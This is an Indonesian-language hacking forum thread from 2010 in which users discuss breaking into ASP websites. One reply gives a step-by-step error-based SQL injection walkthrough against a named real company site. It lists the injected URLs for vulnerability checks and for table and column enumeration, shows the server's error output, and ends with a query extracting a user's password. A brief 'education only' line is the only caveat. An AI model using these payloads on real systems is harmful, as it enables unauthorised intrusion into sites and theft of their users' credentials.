Page 1 of 3
[ASK]Hacking Website ASP
Posted: Tue May 11, 2010 3:26 pm
by xMikael
Aku pengen nanya nih, lagi pengen ngehack website yang menggunakan ASP..
udah ngecek di google katanya harus cek vulnerability website nya, bisa di pakein SQLi atau ngga.. dan udah aku cek dan ternyata ngga bisa..
ada saran dari senior2 ngga harus gimana cara hack nya ? :kaca:
Re: [ASK]Hacking Website ASP
Posted: Wed May 12, 2010 4:40 pm
by xMikael
*bump*
sorry nyundul :maaf:
Re: [ASK]Hacking Website ASP
Posted: Wed May 12, 2010 10:59 pm
by shinichi81
memang beda sih bos,cara ngeceknya dengan pake --> having 1=1
Re: [ASK]Hacking Website ASP
Posted: Thu May 13, 2010 12:15 am
by 3xtr3m3b0y
xMikael wrote:Aku pengen nanya nih, lagi pengen ngehack website yang menggunakan ASP..
Bisa baca2 di sini :
http://lllg4pt3klll.wordpress.com/2009/ ... ction-asp/
shinichi81 wrote:memang beda sih bos,cara ngeceknya dengan pake --> having 1=1
Skalian dibahas PoC SQLi site
http://www.plnbali.co.id
Biar teman2 bisa belajar dari master
shinichi81
Re: [ASK]Hacking Website ASP
Posted: Thu May 13, 2010 6:13 pm
by xMikael
aneh nih bro.. saya coba di website ini ngga muncul pesan error atau semacamnya.. kalau test di web lain muncul error.. padahal sama2 .asp
bingung nih --a :putusasa:
Re: [ASK]Hacking Website ASP
Posted: Thu May 13, 2010 7:12 pm
by 3xtr3m3b0y
Sy beri cuplikannya dikit deh :
1. Cek vuln apa gak
Code: Select all
http://www.plnbali.co.id/dari_Media.asp?id=795+having+1=1--
Hasil Error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'media.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/dari_Media.asp, line 7
Terdeteksi ada Tabel bernama
media dan salah satu kolomnya bernama
ID
2. Cari nama tabel
Code: Select all
http://www.plnbali.co.id/dari_Media.asp?id=795+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--
Hasil Error:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Inkaso' to a column of data type int.
Tabel berikutnya:
Code: Select all
http://www.plnbali.co.id/dari_Media.asp?id=795+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(%27Inkaso%27)))--
Hasil Error:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'dtproperties' to a column of data type int.
Silahkan dilanjutkan...
3. Mencari nama kolom pada tabel dtproperties
Code: Select all
http://www.plnbali.co.id/dari_Media.asp?id=795+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name=%27dtproperties%27))--
Hasil Error:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'id' to a column of data type int.
Kolom berikutnya:
Code: Select all
http://www.plnbali.co.id/dari_Media.asp?id=795+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name=%27dtproperties%27+and+column_name+not+in+(%27id%27)))--
Hasil Error:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'objectid' to a column of data type int.
Silahkan dilanjutkan...
4. Melihat isi kolom:
Code: Select all
http://www.plnbali.co.id/dari_Media.asp?id=795+and+1=convert(int,(select+top+1+pass+from+loguser+where+username=%27tagor%27))--
Hasil Error:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '[SENSOR]' to a column of data type int.
NB: Ini hanya untuk tujuan edukasi saja, baik dari rekan2 XCoder maupun Pengelola Website...
Re: [ASK]Hacking Website ASP
Posted: Fri May 14, 2010 11:11 am
by xMikael
tapi kalau website target nya ngga vuln gimana ya bro ?
jadi seperti contoh yang tadi bro nya kasi..
Code: Select all
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'media.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/dari_Media.asp, line 7
semestinya kan muncul error seperti ini pada saat having 1=1--, tapi kalau tidak muncul gimana ya ? tidak ada perubahan sama website nya..
btw thx untuk tutorial yang ini..
Re: [ASK]Hacking Website ASP
Posted: Fri May 14, 2010 2:21 pm
by shinichi81
xMikael wrote:aneh nih bro.. saya coba di website ini ngga muncul pesan error atau semacamnya.. kalau test di web lain muncul error.. padahal sama2 .asp
bingung nih --a :putusasa:
Mendingan script-nya di liatin disini aja bro,supaya bisa kelihatan masalahnya
Re: [ASK]Hacking Website ASP
Posted: Fri May 14, 2010 10:13 pm
by xMikael
Re: [ASK]Hacking Website ASP
Posted: Fri May 21, 2010 9:49 pm
by andryh4ever
Kalo ga ada eror bukanya ga ada vuln ya? M'f kalo salah cuma asal bicara :maaf: